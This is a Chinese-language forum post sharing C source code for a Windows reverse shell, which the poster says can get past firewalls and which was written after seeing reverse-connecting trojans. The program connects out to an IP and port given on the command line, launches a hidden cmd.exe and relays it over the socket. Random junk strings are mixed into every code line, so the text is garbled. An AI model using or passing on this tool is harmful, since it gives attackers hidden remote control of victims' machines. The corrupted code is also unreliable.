社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 4502阅读
  • 0回复

Windows下端口反弹

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 /Os;,g  
|gJI}"T  
/* ============================== xw83dQ]}^  
Rebound port in Windows NT !" 7ip9a  
By wind,2006/7 sQr |3}I(  
===============================*/ ]`O??wN  
#include .c2Zr|X  
#include ZHOh(  
CB%O8d #  
#pragma comment(lib,"wsock32.lib") 'wP\VCL2>  
+Zo&c}  
void OutputShell(); H7R6Ljd?&S  
SOCKET sClient; dfA4OZ&  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; W{*w<a_ `  
gye'_AR?k  
void main(int argc,char **argv) \y0uGnmCj  
{ c27\S?\ Jd  
WSADATA stWsaData; ?Y#x`DMh  
int nRet; a2`|6M;  
SOCKADDR_IN stSaiClient,stSaiServer; jM|-(Es. )  
5o R/Q|^  
if(argc != 3) hS7o=G[  
{ -PH!U Hg  
printf("Useage:\n\rRebound DestIP DestPort\n"); aYPD4yX"/  
return; H+2m  
} v`KYhqTUl  
\>GHc}  
WSAStartup(MAKEWORD(2,2),&stWsaData); p7d[)* L>C  
wT+b|K  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); n*GsM6Y&  
bpWEF b'f  
stSaiClient.sin_family = AF_INET; !Won<:.[0  
stSaiClient.sin_port = htons(0); Lb%Wz*Fa%!  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); uS,XQy2  
VsMTzGr  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) ]2o?Gnn@  
{ lQnqPQY  
printf("Bind Socket Failed!\n"); B&k"B?9mL  
return; &KZr`"cT#  
} s.uV,E*wu  
dAj;g9N/h  
stSaiServer.sin_family = AF_INET; y72=d?]W  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); &^!vi2$5}  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); ;p4|M  
ZpTT9{PT=:  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) F8%.-.l)  
{ 2W 9N-t2 1  
printf("Connect Error!"); fu6Ir,  
return; 57eA (uI  
} 5 U{}A\q  
OutputShell(); WTP~MJ#C  
} Rr/sxR|0_  
Fj~,>   
void OutputShell()  W .t`  
{ @z1Yj"^Pm  
char szBuff[1024]; gu~F(Fb'  
SECURITY_ATTRIBUTES stSecurityAttributes; v*k}{M  
OSVERSIONINFO stOsversionInfo; h1'j1uI  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; (lBwkQNQGd  
STARTUPINFO stStartupInfo; ^saH^kg1"  
char *szShell; <; (pol|  
PROCESS_INFORMATION stProcessInformation; AqHH^adzA:  
unsigned long lBytesRead; 0qU Bt9rA  
2En^su$  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); [ym ynr3M  
b _#r_`  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES);  !xz0zT.  
stSecurityAttributes.lpSecurityDescriptor = 0; ]NrA2i?  
stSecurityAttributes.bInheritHandle = TRUE; u= u#6%  
^dF?MQA<@  
eURj'8o),  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); :_y}8am;H~  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); bW9a_myE  
ySk'#\d  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); xmI!N0eta  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; O0VbKW0h3  
stStartupInfo.wShowWindow = SW_HIDE; 3"ii_#1  
stStartupInfo.hStdInput = hReadPipe; ya^zlj\`0e  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; i`}nv,  
R8U?s/*  
GetVersionEx(&stOsversionInfo); g*nh8  
"}(g3Iy  
switch(stOsversionInfo.dwPlatformId) k;bdzcMkQ  
{ z|:3,$~sN  
case 1: j~@Hj$APa`  
szShell = "command.com"; IyfhVk?  
break; 1\'zq;I~  
default: !jeoB  
szShell = "cmd.exe"; !C$bOhc  
break; E 9LKVs}  
} D[5Qd)PIL  
wgb e7-{  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); a*4l!-7  
2MapB*  
send(sClient,szMsg,77,0); n%J {Tcn6  
while(1) bm+ #OI  
{ U)n+j}vi  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); ^mA^7jB  
if(lBytesRead) A*r6  
{ L\u6EMyV  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); cU^Z=B  
send(sClient,szBuff,lBytesRead,0); L&WhX3$u  
} p*_^JU(<p  
else ksB-fOv*N  
{ a2MFZe  
lBytesRead=recv(sClient,szBuff,1024,0); im6Rx=}E{  
if(lBytesRead<=0) break; cy6lsJ"?  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); ?pF7g$>q  
} .(7 end<  
} ?7Y6: zo$^  
YFF\m{#  
return; ]N\J~Gm  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
描述
快速回复

您目前还是游客,请 登录注册
温馨提示:欢迎交流讨论,请勿纯表情、纯引用!
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八